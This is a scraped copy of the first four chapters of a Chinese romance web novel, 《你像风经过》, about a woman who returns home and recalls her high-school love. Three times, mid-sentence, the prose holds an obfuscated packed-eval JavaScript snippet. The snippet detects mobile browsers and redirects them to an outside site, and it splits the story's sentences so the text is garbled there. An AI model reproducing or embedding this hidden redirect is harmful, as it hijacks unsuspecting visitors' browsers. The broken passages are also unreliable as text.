《你像风经过[夜雨坠落]》 1. Ch.01 重逢 《你像风经过》 文/周至川 2025.3.21 晋江文学城独家首发 - 夜晚十点的剧场传来一阵掌声，座无虚席的话剧《暗恋桃花源》长宜巡演站的首场表演谢幕结束。 “十年了夏夏，终于回来了。”陈嘉妤喧闹声中挽着林予夏的手说，“这些年，你在旧金山没怎么回来过，你在那边过得还好吗？” 林予夏低头沉默，在心中悄悄叹了一口气。而后说：“还好。” 陈嘉妤用着宽慰的语气说：“回来了之后好好玩玩，休息休息，给自己放放假。” “嗯。”林予夏说，“你放心好了，我会随时来骚扰你的。” 随着人群慢慢走出剧场，喧闹声依旧充斥在周围不断。陈嘉妤的手机在包里震动，打断了她们的聊天。 “喂导演，我在长宜剧院附近呢。”陈嘉妤说，“现在开会？行，我一会就过来。” “走吧，陈制片，我陪你到楼下等车。” “呜呜呜夏夏，又要去加班了。”打工人陈嘉妤哭诉。 “今晚加完班到我家来？”林予夏邀请说，“我家就在这附近，离你们广电那边也近。” “好哇！”陈嘉妤顿时兴奋，“我连加班的动力都有了！” “明天上班吗？”林予夏问。 陈嘉妤摇头：“不上班，休息，过两天节目开拍了，就要连轴转了。” 林予夏：“那……来点小酒？” “真露葡萄味！”陈嘉妤和林予夏齐声说。 送完陈嘉妤，林予夏独自一人继续慢慢走。长宜的街景早已与十年前的不同，路口的商店更换了店面设计，执礼附中门口的校名换了一种字体。公交站里，下晚自习的高中生们正在聊着天，讨论着今天周考的题目，明天要补哪些作业。 十七八岁真好，林予夏却不敢回望。因为，在她的青春记忆里，总会有他的出现。 站在学校的蓝色跑道上，远远望去，能够看见他在篮球场上欢呼雀跃的身影；午后的教室，斜阳洒在窗棱上，会忽然看见他低头写题的身影，心跳也会在逆光中做出应答；考试的排行榜上，并排贴着他和她的照片，他会对她会心一笑，轻轻地摸她的头发…… 街边传来了一阵汽车的鸣笛，将她从断断续续的回忆中抽离。 旧金山。 她不会再回去了。 那是一个她原本选择让自己去抛弃爱的地方，让她去躲避他和让自己去逃离的地方，她曾在那里，试着让自己去放弃和他有关的所有思绪。 如果真能在跨海的那一个瞬间，将他从自己的青春记忆中完全抹去，那此刻，自己为何还会在长宜那喧嚣的街头，在附中的墙边，在公交车慢下来的路口，再次想起他。 所以，金门大桥的风吹不散对时间的遗忘，海浪在无法止息地、一刻不停地翻涌，却永远都带不走那些人们所怀念的。 是否还有勇气重新出现在他的面前，他是否会将她拒之门外。 那年是她抛弃了他离开的。 他会记恨她吗？ 她不知道。 她也无法将答案写在心中。 执礼附中离执礼大学很近，只有一个路口的距离。不知怎的，林予夏今晚走错了岔路口，在回家和到执礼大学的分叉处，于冥冥之中地选择了执礼大学的方向。 那就去走走吧。 去大学城附近散散心，让自己的思绪整理整理。正好也能够去看看周围是否有合适的地方，能够让她去开一家小咖啡馆。 停在另一个十字路口，戴着耳机听着歌，恰好是孙燕姿的那首《我怀念的》。 「我记得你在背后」 「也记得我颤抖着」 「记得感觉汹涌」 「最美的烟火最长的相拥」 等待对面的红绿灯变换的瞬间，一阵风忽然从身后经过，带起了她的衣角，她下意识地转身看向那阵风吹来的方向，却听见了什么东西落在地上的“啪嗒”声。 那是一个柠檬糖形状的钥匙扣。 捡起就在自己身边的那个落下的“柠檬糖”，林予夏顺势看向了前方。 她看见了一个骑着自行车的背影。 林予夏猜测，或许是他掉落的呢？ 眼下无事，她决定跟上去问问。 一路小跑，跟着自行车走过的轨迹。 很快，林予夏就在一家小酒馆旁边的树下，看见了那个自行车的身影。 骑车的人将包随意地挂在了自行车上，林予夏注意到了，包上有一个一模一样的钥匙扣。 那时候她就确定了，自己捡到的那个钥匙扣，就是他的。 旁边的店面正在招租，只有那家小酒馆亮着暖黄色的灯，林予夏将柠檬糖形状的钥匙扣放在手心，走上了小酒馆的台阶。 这家小酒馆的名字叫做“Lisianthus”，英文名的招牌旁还画着两朵洋桔梗花。 林予夏决定要在这家名为“桔梗”的小酒馆喝两杯。 她觉得因为一个“柠檬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15353017|167966||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 糖”形状的钥匙扣而发现这里，倒也是个带着点惊喜的机遇。 因为，她曾在旧金山爱上了洋桔梗花，有段时间下课，她总会去买上几朵，放在合租房子的卧室里。直到现在，她依旧偏爱那种独属于洋桔梗的洁白。 所以，喜欢洋桔梗的人碰见了名为“桔梗”的小酒馆，没有理由不留下来喝一杯再走。 推开玻璃门，风铃轻颤，发出了清脆的声音。 这大概是个“文青”开的小店，店内的灯不暗，透露着丝丝温馨。店里除了顾客们的交谈声，就只剩下了隐隐约约的音乐声。 仔细一听，似乎还是孙燕姿的那首《我怀念的》。 这也太巧了。 和自己耳机里放着同一首歌。 林予夏索性将耳机取下放进了口袋。 走到吧台，店员小哥正在擦着杯子，见到林予夏，他抬起头说：“想喝点什么吗？” 林予夏指着门外的树下的黑色自行车，对店员小哥问：“您刚刚有没有看见一位穿着黑衣服的男生走进来？他的钥匙扣掉在了路上被我捡到了，我看见他的自行车停在了这里，所以我来问问。” “噢，您说门外的自行车啊，那是我们店长的车。”店员小哥说，“至于……这个钥匙扣……我帮您问问吧。” “嗯。” 店员小哥说完就转身走到吧台外去找店长去了。 剩下林予夏一个人停在原地。 温暖的光束中，林予夏看见眼前墙壁上的画。她发现，很多都是与执礼附中有关的元素——执礼附中的樱花树，执礼附中的蓝色跑道，执礼附中里柏油马路旁的树…… 看来，这里的老板应该也是执礼附中毕业的。 墙壁上挂着一个悬空的书柜，里面整齐地摆着几本书—— 黑塞的《克林索尔的最后夏天》； 一条岬的《今夜，即便这份恋情从世界消散》； 张爱玲的《倾城之恋》； 以及， 岩井俊二的《情书》。 思绪渐渐掉入进那年夏天，林予夏手中的钥匙扣恍然坠落在了桌上，发出了“啪嗒”一声，让她没有及时察觉到自己此刻的心跳。 那首孙燕姿的《我怀念的》还在耳边隐隐约约。 「我还有想要爱你的冲动」 “林予夏。” 心跳因为熟悉的声音在一瞬间里忽然错拍。 转身看向声音传来的地方，她遇见了这么多年来未曾见过一次的视线。 “好久不见。” 2. Ch.02 风铃 林予夏第一次见到江洵，是在中考结束后的那个夏天。那时江洵刚搬到夏至路不久，是这附近的新住户。 那天的太阳很大，每一寸的空气都在被炙烤着，热浪不息。微风抚过枝头，吹动着树叶轻轻摇曳。夏蝉躲在树上一声又一声地鸣叫，不知道会在什么时候停下。 林予夏打算去常去的那家书店看会书。书店的名字叫做“Love In The Dark”，老板是位台北大哥，所以这家书店的名字又叫做台北旧书店。这家书店算是比较有特色的，里面的书只借不卖，大多数都是台北大哥的私人藏书，少量的是老板朋友的友情贡献。所有的书只借不卖，也没有规定每本书的还期会是什么时候，台北大哥会一直等你看完所借走的书。 走过夏至路的巷子的转角，台北旧书店出现在了视线。阳光穿过树叶交织间的罅隙洒落，忽然晃了一下林予夏的眼睛，她下意识地用手遮了遮眼前，却在那一瞬间里，透过手指间的缝隙，注意到了台北旧书店前的台阶上正坐着一位男生。 那男生穿着件白色的T恤，一条宽松的牛仔裤和一双浅色的Air Force板鞋。越走越近，恍然间，林予夏感觉自己似是闻到了一股柠檬的清香。路过男生时，她借着看脚下台阶的间隙，偷偷看了那男生一眼。他的头发垂落在他的双眼前，鼻梁很高，睫毛很长。匆匆一眼，感觉他还挺白的。 很快就随着即将跨入台北旧书店的脚步收回了视线，那股突如其来的柠檬味的清香也渐渐消失不见，未曾停留在鼻尖前的空气里。 风铃随着门被推开发出了“丁零零”的清脆声音，林予夏像从前那样轻轻走进了书店，笑着朝台北大哥打了个无声的招呼，便走到书架前找书去了。 台阶上的男生被风铃的声音吸引回头，手中的借书卡却没拿稳，一不小心被风吹落在了地上。他回头，捡起掉落在地上的借书卡，将它夹在了书的最后一页。 起身，准备回到台北旧书店的室内。 风铃声再一次响起，他缓缓走到了前台，将书递给了台北大哥。 “还书？”台北大哥问。 男生点头。 那时候林予夏正在一旁，她刚找到自己想要找的那本岩井俊二的《情书》，准备登记姓名。 也正是在这个瞬间，她瞥见了台北大哥手中那本书露出来的借书卡的一角，她知道了他的名字。 江洵。 “可以了。”台北大哥笑着对江洵说，“还有什么想看的书吗？可以去找找。” 江洵小声说：“谢谢，明天见。” 随后又一阵风铃声在空气里响起，传到了耳边。 那时，店里正在放着孙燕姿的那首《我怀念的》。 江洵离开旧书店之后，林予夏把手中的《情书》递给了台北大哥。双手放在台子上，林予夏用轻声好奇地问：“叔，那男生经常来吗？” 听见自己被叫叔，台北大哥不乐意地“啧”了一声，“不知道。” “大哥，您是大哥。”林予夏立马改口称呼。 台北大哥心满意足，笑着回答说：“最近一阵子常来，可能是新搬来的学生。” 林予夏点了点头，视线下意识地看向了那本他刚还的书。 台北大哥注意到了林予夏的视线，于是打趣地问：“怎么，一见钟情？” 林予夏恍惚，立即收回了自己停留的视线，她看向台北大哥，支支吾吾：“没有。” 仅仅是觉得他长得还挺帅的而已。 台北大哥偷笑不语，只是在整理那些今天刚还回来的书。 林予夏的视线再次落在江洵那本刚还的书上。 是黑塞的《克林索尔的最后夏天》。 她决定，明天还要听见风铃在燥热空气中轻轻颤动的声音。 正如江洵在书店里所言的那样，林予夏在隔天又看见了他在台阶上看书。她靠近他时，又闻到了一股柠檬的清香味。她依旧什么话都没说，只是从他的旁边经过，然后进到书店，去找自己想看的书。 而后的好几天，她都在书店里碰见了他。 但都仅仅只是路过彼此而已，仅仅只是在借书或还书的时候偷看对方一眼而已。 这场无声的在意，很快就在不久之后迎来了尾声。 风铃声响起，书店的门被推开。 江洵进入书店的时候，店里正在放着伍佰的那首《Last Dance》。有那么一瞬间，江洵还以为自己是在台剧《想见你》的那个书店中。 走到书架前，江洵一眼就看到了那本张爱玲的小说集《倾城之恋》。他伸手准备拿起书架上的那本书，却在下一秒碰到了另外的一只手。 江洵下意识地低头看向旁边的人，心跳却在一瞬间里忽然错拍。 是她呀。 这些日子里频频路过他身旁的女生。 那时候，江洵还不知道她的名字叫做林予夏。 “不好意思！”林予夏轻声说，“不小心碰到你了。” 江洵收回自己的手，朝她摇了摇头，似乎是在说着没事。 “能请你帮我一个忙吗？”林予夏说，“《倾城之恋》旁边的那本书我有点够不着，想请你帮我拿一下。” 江洵依旧无言，只是默默地拿下了《倾城之恋》旁边的那本米兰·昆德拉的《不能承受的生命之轻》。 拿到书后，女生说了句轻快无比的“谢谢”，并给江洵塞了一颗柠檬糖，随即转身离开，像一只小兔子一样。 手中拿着那本《倾城之恋》，他笑了。看着她离书架远去，去找台北大哥写书名的背影，他第一次明白，原来真的会有人比阳光还要耀眼、明媚。 那是江洵搬到这里以来的第一次笑。 因为林予夏闯入进了他的世界。 书店里的音乐已经切换到了下一首，正在播放的，是孙燕姿的那首《遇见》。 「我遇见谁 会有怎样的对白」 「我等的人他在多远的未来」 「我听见风来自地铁和人海」 「……」 「我遇见你是最美丽的意外」 拆开柠檬糖放进口腔，一股清新的味道充斥在他的周遭。等林予夏离开书店之后，他才起身去往书写书名的地方。 柠檬糖还在慢慢融化，如同悄悄生长的思绪一般，很慢很慢。 他留意了借书单上的姓名。 那时候他知道了她的名字。 林予夏。 只要有了第一次的对白，那就有机会有第二次。那天从书店里回家之后，一个人在家里，江洵陷入了后悔。 当时自己怎么就没有主动一点同她多说几句话呢？ 她来书店的次数不少，和他差不多，应该也是个爱看书的。仅凭这一点，他早就想认识她，和她交流交流了。 都怪心跳忽然的错拍，让自己乱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15353018|167966||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了阵脚。 这是他十五年以来，第一次感受到这种感觉。 他不知道这是因为什么，只是想在明天再次见到她。 后来的某个傍晚，他第二次听见了她的声音。 那时，他正坐在书店台阶旁边的小椅子上看书。 不知为何，像是冥冥之中有什么注定一般，他忽然回头看了一眼。 他看见了远处的树下，林予夏正在朝着这个方向走来。 于是他立即从椅子上起身，坐在了台阶上，只为了让自己更加明显一点，能让她看见。那时的他不清楚，她是否还记得他。 心里在想着她会在何时靠近，已然无心看着书中的故事，他索性去找地上的小草丛去了。 那时候的林予夏也注意到了江洵的身影，她故意放慢了自己的脚步，在心里悄悄措辞。 他看上去是那种寡言少语类型的男生，不爱说话，全身上下透露着一种生人勿近的清冷感。 她决定，她要找他说说话。 他刚搬到夏至路，应该还不怎么适应吧，需要一个人讲讲话，聊聊天。 所以，她本着一副关怀的心走上前去，她连问题都想好了，就用“你在看什么书呀”来作为开头进行“搭讪”。 只是不料走近了之后才发现，这家伙根本就不是在看书，而是在数着台阶旁的蚂蚁，看着蚂蚁们搬家。 林予夏当场沉默，脑海中飞过一串省略号。 但不过也正是从那时起，林予夏的心里确定了，江洵也许不是寡言少语的冰山气质，或许天真和有点小趣才是他的本质。 天空中，夏夜正在若隐若现，很快就到了每天夜晚降临前的蓝色瞬间。 今天的风不算太热，还有些许凉意，缓缓吹过枝头，树叶发出了沙沙的声响。 林予夏停在了台北旧书店的台阶前，路灯下的身影落在了江洵的视线里。 江洵下意识地抬起头，无心再看路边的蚂蚁搬家。 心跳再次感觉到一阵错拍，怀里的书倏然落下。 “你在看什么书呀？” 几日前听见的声音再次在耳边出现，江洵庆幸，她好像没有忘记他。 他拿起书站起身来，白色T恤的衣角在风中轻晃。 “《想见你》。”江洵边说边把手中的书合上，放在了林予夏的眼前。 林予夏看了一眼书名抬起头看向江洵，却忽然发现了他视线里的慌乱神情。 她说：“我知道这本书。” 就在这时，一滴雨忽然从夏季的夜空中落下，正好滴在了江洵的肩膀。 江洵：“好像下雨了。” 话音落下，大雨随之落下。 顾不上太多，江洵和林予夏一起跑到了台北旧书店的屋檐下躲雨。 彼时，书店里正在放着孙燕姿的《遇见》。 「我遇见谁 会有怎样的对白」 「我等的人他在多远的未来」 「我听见风来自地铁和人海」 雨滴顺着倾泻的屋檐缓缓坠落，视线里昏黄的光束里足以看见雨丝的身影。 一阵风经过，不停地将风铃吹响。 没有人经过他们的身旁，只能够听见大雨淅淅沥沥的声音。 长宜夏天的天气就是这样，随时会有一场雨。 夜雨坠落，书店门口的风铃还在响。 他们在偷看中，发现了彼此的视线。 3. Ch.03 邂逅 林予夏与江洵第一次在执礼附中的校园里相遇，是在那棵樱花树旁边的墙边。 她记得那是在高中开学的第一天，一个似是盛夏季节一样的晴天。 那天的阳光特别特别的大，照的让人都有点睁不开眼睛。树影斑斑驳驳，摇曳在时不时会吹抚而来的微风中，爬上了能够隐隐约约看见裂缝的墙。 林予夏进班报道的时候，教室里面可以说是已经坐满了同学，大家伙在三三两两地聊着天，教室里很是热闹。她站在前门轻声朝教室里的讲台上喊了句“报告”。当时，秦宋老师转头看了一眼，发现门口站着的同学是林予夏，便没多说什么，直接让她进了教室。 林予夏庆幸，好在从小玩到大的好闺密陈嘉妤和她是一个班的，帮她留了个最后排同桌的位置。虽说现在正接受着全班同学的注目礼，但好在，她不用面临不知道该坐哪找座位的尴尬场面。 坐下之后，陈嘉妤就朝好姐妹凑了过来：“怎么样？稳了吧？” 林予夏眼睛亮亮的，朝陈嘉妤点了点头：“我觉得还行。” 林予夏今天之所以会晚到，是因为她参加这一年的CHPTC竞赛的初赛去了。“CHPTC”竞赛全称“Chinese high school students programming technology jointpetition”，是一项面向全体高中生和准高中生的信息技术编程类竞赛。 这项赛事分为普及组和提高组两个类别的赛道，前者的难度比后者的小。而林予夏参加的，是提高组的比赛，和一些高一高二的学生一起考试。 陈嘉妤帮林予夏按着肩膀：“辛苦啦夏夏，好好休息一下哇。” 林予夏转身看向陈嘉妤，准备去拥抱她：“呜呜呜，还是你好，这么关心我。” 话音刚落下，还没上前去拥抱住陈嘉妤，讲台上就传来了秦宋老师的声音。倒不是因为别的，秦宋只是在提醒说：“林予夏，班里面少了两套书，你去找教务处的老师到书库里面拿一下。” 林予夏朝讲台上看过去：“噢！好！” 班上的同学正在窸窸窣窣地聊天讲话，把林予夏和秦宋的这段对话当作了白噪音。 刚刚好，好巧不巧的，班上正好少了两套完整的书。走出教室的那一刻，林予夏心里就在猜测，是不是还有一位同学没有到教室？ 很快就走下了教学楼，高温正炙烤着学校里的柏油马路，热浪随着微风的经过，悄无声息地席卷而来。林予夏靠在墙边躲着太阳走，她计算着每一步，每一段距离，只为了从树荫下面经过。 不知道在什么时候，某一棵树上的夏蝉忽然撕心裂肺了起来，开始没完没了的“知了——知了——”的一声又一声叫个不停。 林予夏一个人走在路上，脑海中忽然回想起了不久前在考场上看到的题目，她在回忆着自己写在试卷上的过程。低着头往前走，不顾身边落下了几片树叶，不顾身边是否有小猫经过。 在下一个步骤被回想起来之前，一道黑影忽然从林予夏的视线前略过。紧接着，她听见了一声什么东西落在小路旁草地上的声音。 林予夏不得不停止住自己的思考，她抬起头，看向黑影方才略过的位置。 很自然地，她看见了一位穿着校服的男生。 男生站起身来，顺势回头看向林予夏所在的方向。看见林予夏的那个瞬间，他原本一脸冷淡的神色立即就露出了笑容：“林予夏？你也在执礼附中？” 哦，原来是江洵啊，暑假里经常在台北旧书店那碰见的帅哥。 林予夏放松了下来，笑着回答说：“巧了嘛这不是。” 江洵将手搭在了自己的脖子上，两人随即不由自主地同时看向了一旁的墙壁，然后又立即对视向彼此交换视线。 江洵脸上闪过了一丝尴尬的笑，他赶紧解释说：“不是有意要翻墙的。我刚刚在路边捡到了一只小狗。” 江洵说着就把书包给打开了。 白色的小狗探出头，看向了林予夏。 “校门口有教导主任，快要迟到了，会被留在校门口罚站。要是这样，小狗在我包里是会被闷死的，所以我就翻进来了。” 林予夏摸了摸小狗的头，说：“哦，那你身手还蛮不错的。” 话音落下的第一秒，江洵就发现，教导主任正从林予夏身后的方向那缓缓走来。于是，没等他想好要怎么接林予夏方才的话，他就立即躲到旁边的草丛小树后面去了。 这一套动作下来，倒是把林予夏给整得有点懵，她停在原地问：“怎么了？” 躲在草丛小树后面的江洵用着气声解释：“别说话，就当没看见我。教导主任在你身后。求你，帮我打掩护。” 林予夏没有回头去确认，身后是不是真的走来了教导主任。毕竟这个动作，很有可能会暴露现在正在躲着的江洵。 她轻轻地“哦”了一声，随即就看向树叶罅隙中穿过的阳光去了。 林予夏想装出一副这里什么都没发生过，而她只是因为忽然觉得这里的树影、阳光还不错，所以才停留驻足在此的样子。 “林予夏？”身后传来了教导主任的声音。 林予夏初中是执礼附中初中部的，经常到高中本部来上信息竞赛课，加上在一些竞赛赛事上获过奖，所以这里的一些老师还是认识她的。 林予夏转身看向教导主任：“老师。” “站在这是有什么事情吗？” 林予夏悄悄往教导主任那挪了一步，彻底遮住了教导主任能够看见江洵藏身的那个草丛小树的视线。 “也没什么……”林予夏最不善于撒谎，此刻脑子里正在组织着最佳的打掩护话语，眼睛在躲避着教导主任的视线，动作的幅度不算太大，“我只是想停下来看……” “是不是这边又有小猫出现了？在这里看小猫呢。” “啊？”听完教导主任的话之后，林予夏的语气里有点略微的诧异，她抬起视线看向教导主任。让她没想到的是，教导主任居然自己给出了一个解释。 “也有可能是小狗？”林予夏顺着教导主任的话说。在说小狗的时候，她故意加重了自己的语气，似乎是刻意地想让身后的江洵听到一样。 林予夏扯开话题，“主任，我要去教务处找老师到书库去拿书。” “快去吧。”教导主任说，“早点拿完就快点回教室，外面热，别中暑了。” “嗯嗯。” 看着林予夏，教导主任笑了笑，随后说了句“高中加油呀”，便朝另外一个方向走了。 林予夏瞬间就松了一口气，整个人方才紧绷的神经一下就轻松了下来。 还没等林予夏转身同江洵说出第一句话，一颗柠檬味的棒棒糖忽然就从她身后递了过来，出现在了她的视线里。 “吃糖吗？”江洵边说边走到了林予夏的面前，“感谢你帮我打掩护。” 林予夏接过糖，江洵笑了一下。他脸上的笑，比盛夏气息里的阳光还要灿烂。 这是林予夏第一次在心里意识到，原来真的有那种身上的明媚感能够比肩“盛夏”的人。 不过，换个思路想想，他倒也像一只正在摇尾巴的小狗。 “谢谢。”林予夏将柠檬糖放进了自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15353019|167966||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己的口袋，“柠檬糖很好吃。” 暑假在书店碰见的时候，江洵就经常给林予夏这个柠檬糖，林予夏觉得这个糖的味道确实还不错，有一种很清新的感觉。 “你刚刚，是不是在骂我？”江洵忽然扯出来这么一个话题，将书包背在前面，打开了书包拉链，继续让小狗透气。小狗还汪地叫了一声。 林予夏不明所以：“啊？” “不然你为什么说‘也有可能是小狗’？还语气那么重，像是在强调什么一样。”江洵解释，语气故作出一副有点小生气的样子。 “哦，你说这个呀。”林予夏在心里暗自高兴，原来他听出来了自己的语气。她说：“没错啊，你就是很狗，特别的狗！” “哦？你这么觉得，是因为我让你打掩护，让原本不会怎么撒谎的你，心跳加速感觉到了一种前所未有过的紧张？所以我很狗？” 林予夏不知道江洵的这段话是怎么在脑海中组织起来的，居然和她心里想的那套逻辑很接近。 “我们才认识两个月，你就骂我。”江洵的心里像是有只小狗，正在做出一副“哼哼”的表情。 “没有。”林予夏摸了摸书包里的小狗说，“说是小狗怎么能说是骂人呢？小狗这么可爱。” “哦。”江洵说，“我陪你去教务处拿书吧。” “那小狗怎么办？” “带着。”江洵停顿了一会看向林予夏说，“我在教务处外面等你。” 还没等林予夏说不用，周围的夏蝉声忽然就喧闹了起来。江洵冲她笑了一下，随即就往教务处所在的方向走了…… 回教室的路上，林予夏知道了江洵和她是一个班的这件事。再到后来的后来，回到教室了以后，林予夏恍然间意识到，班里缺少的两套完整的书，正好是她和江洵的。 说不上来这是一种什么感觉，只是总觉得心中正泛着一种名为“冥冥之中”的思绪。 隔天傍晚，江洵被叫到了教导主任的办公室，原因很简单，教导主任发现了江洵昨天翻墙进学校的事情。 姜还是老的辣。 林予夏和江洵都以为教导主任没有看见江洵。 实际上，教导主任正是在不远处看见江洵翻墙进学校猜走过来的。 “不好意思啊老师，下次绝对不会了。”江洵求情，“这不关林予夏的事情，是我求她让她帮我打掩护的，您可千万别让她写检讨哇。” “下次？把你家长叫来。”教导主任故作严厉，只是想让江洵这个高一新生长长记性而已。 “别啊老师，我爸妈都不在国内，长宜就只有我一个人。” 江洵没有撒谎，确实是只有他一个人目前是在国内的。父母亲早已离婚，母亲宋清寒在国外做医疗论坛，父亲江远铭在新加坡洽谈合作。 很多时间，他几乎一直都是孤身一人，独自面对长大。 “那这样。”教导主任松口，“第一次月考，没有考进年级前十，就把这次翻墙进学校的检讨给写了。” “谢谢主任。” 江洵说完就走出了办公室，开门的一瞬间，他正好遇见了林予夏。 “我听陈嘉妤和厉川说，你被叫到教导处了。”林予夏说，“不好意思啊，昨天没帮你打好掩护。” 走廊上人来人往，声音嘈杂。 但世界还是在下一秒坠入了安静。 夏夜正在缓缓降临，天边正在被染上深沉的蓝。 进教室前，走在前面的江洵忽然停住了脚步，回头看向林予夏。 他将从口袋里拿出来的东西放在了林予夏的面前，说：“林予夏，吃柠檬糖吗？” 4. Ch.04 心跳 林予夏和江洵成为了同桌，那时候的他们还不知道，接下来的三年，他们都将会是同桌。 回到教室的时候，秦宋正在准备上课，两人偷偷地溜进了教室。好在两人的座位是最后一排，进教室的时候，不会接受全班同学的注视。 收着书本，江洵偷偷对同桌林予夏说：“林予夏同学，能拜托你一件事情嘛？” 林予夏把语文教材放在课桌上，转头看向江洵的方向，微微歪头：“什么？” 彼时两人都拿完了书，于是他们顺势凑到了一起，江洵对她耳语：“为了不让我写检讨，要不，你监督我这个月好好学习呗。” “我监督你？”林予夏小声说，“行啊。” 她下意识地想，自己正好能够顺道督促一下自己，不算是件麻烦事。 而后的日子，江洵和林予夏经常出现和流连于学校的图书馆自习室。周末的上午下午，假期的傍晚时分，他们都在。 江洵偶尔会打瞌睡，一旁的林予夏会提醒他，拍拍他的肩膀。夏日的落日很美，傍晚的蓝色瞬间常常会驻足在心间。 看向一整面的玻璃窗，视线里全是深沉的蓝色。 高中的第一次月考前的那天是个周末，江洵和林予夏照常约着一起到学校里的图书馆里自习。只是那天的傍晚，他们默契地做出了一个决定。 他们决定逃离。 逃离课本，逃离知识，逃离公式，逃离图书馆里的一切。 窗外的蓝色瞬间不再单调，那是彼时最好的颜色。天际还在泛着微微的淡红色，走上天台，江洵和林予夏的身影越靠越近。 直到走到天台的中间，林予夏和江洵猜停下了脚步，放眼看向那片天空，夏季的尾声尽收眼底。 “林予夏，谢谢你。”江洵看向身边的林予夏，“谢谢你和我一起学习。” 这一个月以来的时间，江洵几乎都是和林予夏待在一起的。他们一起写着同一套听力题，一起互相批改英语阅读，一起复盘语文阅读的答案…… “明天就月考了，你别紧张。”林予夏接话，“我相信你的。” 江洵笑了一下：“无伤大雅，就算没有考进年级前十，不就是一篇检讨嘛，没什么大不了的。” “今晚放学我们早点一起回家吧。”林予夏说，“我想去看看小狗。” 上次江洵捡到的那条小狗被暂时寄存在了宠物店里。江洵和宠物店里小姐姐讲好了，自己现在没什么时间照顾这只小狗，希望宠物店里的小姐姐能够帮忙，给它寻一户好人家。如果两个月后，小狗还没有人认领的话，江洵就把它带回家，补齐这两个月小狗在宠物店的生活费，也算这只小狗和他有缘。 江洵点点头：“好。” 等天空再暗下一点，等夏夜开始降临的时候，江洵给林予夏递过去了一只耳机，“听歌吗？” 林予夏注意到，那是个有线耳机。刚好此时自己也想听听歌，她顺势接下了江洵递过来的耳机。 这不是他们第一次共用同一副耳机，这一个月的放学路上，他们经常一起听歌，不过是用的没有耳机线的蓝牙耳机。 将耳机戴好，音乐声渐渐响起。 是Adele的《When We Were Young》。 周遭没有夏蝉的喧闹，没有树叶在风中摇曳发出的沙沙声。 此刻的夏夜中，仅仅只有他们。 “江洵，你有想过以后想要做什么吗？”林予夏忽然提问。 江洵从容回答：“心理学，想从事和心理学相关的工作。” 林予夏点点头，若有所思。 江洵接着问：“那你呢？” 林予夏听见问题，悄悄低头，叹了口气：“我还不知道自己以后想做些什么，所以我就想来问问你，听听你的想法。” “还早。时间还很多，我们还有足够的时间去考虑自己的未来。”江洵顿了顿继续说，“总有一天，你会知道自己想追寻的是什么的。” “那我要是想不到呢？”林予夏接话反问。 “不会的。”江洵转头看向林予夏笑着说，“这些天和你一起学习的时候我就感觉到了，你一定会想到的。” “为什么。” 江洵直言：“我同桌林予夏同学很厉害的。” 彼时，夏夜完全降临。 昏黄的灯下，渐渐出现了正在靠近的身影。 “月考加油，我看好你。” “你也是。” 那年月考之后，江洵并没有写检讨，他刚刚好踩线第十名，但江洵还是就翻墙一事写了一份请款说明给教导处的老师。 …… 很快就到了高一的期中考试之后。 那天上完竞赛课，林予夏的心情不算太好，因为有道题她一直到下课都没有做出来，电脑上的代码程序一直在报错，导致运行有问题。 江洵很会观察人的情绪，林予夏回到教室的时候，他立即就放下了手中正在看的小说。他趴在课桌上，凑近了林予夏，小声问：“怎么啦？” 林予夏当时没说话，在草稿纸上写了个“Mood”，然后在这个单词旁边画了一把大大的叉。 江洵确认了自己方才察言观色的结果，默默地点了点头。 他拿过那张写了“Mood”的纸条，在上面写下了回复，给林予夏递了过去。 “要不要一起下去散步？” 林予夏偏理性循规一点，看见江洵的纸条，她下意识的决定是拒绝。但在下意识的下一秒，林予夏立即就陷入进了犹豫。 她知道，自己现在有点写不进作业。 “走吧，错过了今晚，明天晚上我可就不陪你一起散步啦。”江洵轻声说。 “可现在还在上课诶。” “那怎么了？跟在我身后。”江洵的嘴角笑了一下，立即起身溜到了后门走了出去。 当时林予夏在心里自言自语了一句：林予夏，你只是去把他叫回来继续上晚自习而已，仅此而已，所以你可以在此刻短暂的离开教室，之后再回来继续写作业。 在心里做好了建设，林予夏放下了手中踌躇不下的笔，起身走出了后门。 教室的走廊外有学生在找老师问问题，夏蝉“知了——知了——”的声音，一声又一声地落入林予夏的耳朵。 “周应！”遇见了同在竞赛部的同学，林予夏走上前去，“你有没有看见江洵哇。” 周应往后看了一眼，笑着对林予夏说：“你家江洵往那边走了，快去追吧！” 林予夏当时在一瞬间里害羞，脸颊泛上了一阵红晕：“什么啊，哪有，什么我们家的。周应应啊，化学题写多了是不是。” “好啦好啦，你快去吧。”周应笑着拍了拍林予夏，“我走啦，回教室了。” “嗯嗯！回见！” 林予夏说完就往周应方才手指的方向走了。 